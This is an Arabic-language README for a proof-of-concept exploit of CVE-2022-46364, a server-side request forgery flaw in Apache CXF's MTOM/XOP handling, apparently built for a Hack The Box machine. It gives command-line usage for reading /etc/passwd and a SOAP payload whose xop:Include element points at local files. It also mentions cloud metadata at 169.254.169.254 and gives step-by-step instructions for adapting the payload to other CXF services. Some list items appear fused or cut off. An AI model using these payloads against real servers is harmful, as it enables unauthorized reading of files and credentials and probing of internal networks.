
استغلال لإثبات المفهوم لـ CVE-2022-46364، وهي ثغرة SSRF في Apache CXF تسمح بقراءة ملفات عشوائية واستكشاف الشبكة الداخلية عبر طلبات SOAP مفبركة من نوع MTOM/XOP.
إثبات المفهوم لاستغلال CVE-2022-46364 — ثغرة تزوير الطلب من جانب الخادم (SSRF) في Apache CXF في معالجة طلبات MTOM/XOP.
CVE-2022-46364 تؤثر على Apache CXF قبل الإصدارين 3.4.10 و 3.5.5. عندما يتم تمكين MTOM (آلية تحسين نقل الرسائل) على خدمة SOAP، يقوم مفكك CXF بالتحقق بشكل غير صحيح من سمة href داخل عناصر <xop:Include>. بدلاً من تقييد href بعناوين cid: (كما هو مطلوب في مواصفات W3C XOP)، يقوم CXF بتفسير عناوين URI عشوائية — بما في ذلك file:// و http:// و https://.
يسمح هذا لمهاجم غير مصادق بـ:
file:///etc/passwdhttp://169.254.169.254/)تم كتابة واختبار إثبات المفهوم هذا ضد آلة Hack The Box:
نقطة النهاية المستهدفة: http://devarea.htb:8080/employeeservice
ولكن مع تغييرات صغيرة في حمولة XML وفقًا لـ WSDL الهدف، يمكن تكييفه مع البيئة المستهدفة.
عنوان URL الافتراضي هو http://devarea.htb:8080/employeeservice.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
هام: هذا السكريبت مبرمج خصيصًا لهيكل WSDL الخاص بـ HTB DevArea. لاستخدامه ضد خدمة Apache CXF ضعيفة أخرى، يجب تعديل حمولة SOAP داخل
build_payload()لتتوافق مع عقد WSDL الهدف.
جلب WSDL من الهدف:
curl http://target:8080/employeeservice?wsdl
تحديد تفاصيل الخدمة:
targetNamespace (مثل http://devarea.htb/)submitReport)<arg0> مع <content> متداخل)تعديل الحمولة في build_payload():
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> داخل حقل سيعالجه الخادم كمرفقتحديث --url عند تشغيل السكريبت.
بالنظر إلى مقتطف WSDL هذا:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
يجب أن تصبح حمولتك:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
multipart/related مع Content-Type: application/xop+xml.<xop:Include href="file:///etc/passwd"/>.file://.<return> الخاص بـ SOAP.Content: ويفك تشفيرها.| المصدر | الرابط |
|---|---|
| استشارة Apache CXF الأمنية | CVE-2022-46364 |
| إدخال NVD | NVD — CVE-2022-46364 |
| تذكرة Apache Jira (CXF-8706) | CXF-8706 |
| مواصفات W3C XOP | XML-binary Optimized Packaging |
| تحليل متعمق من Penligent | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |
هذه الأداة مخصصة لاختبار الاختراق المصرح به والأغراض التعليمية فقط. احصل دائمًا على إذن صريح قبل اختبار الأنظمة التي لا تملكها. المؤلف ليس مسؤولاً عن أي سوء استخدام أو ضرر ناتج عن هذا السكريبت.
ترخيص MIT — يمكنك استخدامه وتعديله ومشاركته مع الإسناد المناسب.